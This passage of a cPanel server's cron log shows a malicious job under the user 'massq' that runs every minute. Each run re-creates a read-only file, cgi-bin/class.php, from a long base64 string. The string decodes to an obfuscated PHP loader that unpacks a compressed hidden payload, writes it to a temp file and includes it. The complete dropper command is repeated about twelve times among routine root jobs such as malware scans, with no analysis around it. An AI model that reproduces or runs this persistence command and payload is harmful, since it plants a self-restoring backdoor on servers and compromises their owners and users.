"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:33:01 server CROND[6887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:34:01 server CROND[6944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:35:01 server CROND[6997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:35:01 server CROND[6996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:35:01 server CROND[6998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 04:35:01 server CROND[6999]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 04:35:01 server CROND[7005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:36:01 server CROND[7108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:37:01 server CROND[7253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:38:01 server CROND[7336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:39:01 server CROND[7392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:39:01 server CROND[7393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 04:40:01 server CROND[7455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:40:01 server CROND[7458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:40:01 server CROND[7457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:40:01 server CROND[7459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:41:01 server CROND[7576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:42:01 server CROND[7632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 04:42:01 server CROND[7633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:43:01 server CROND[7690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:44:01 server CROND[7740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:45:01 server CROND[7892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SS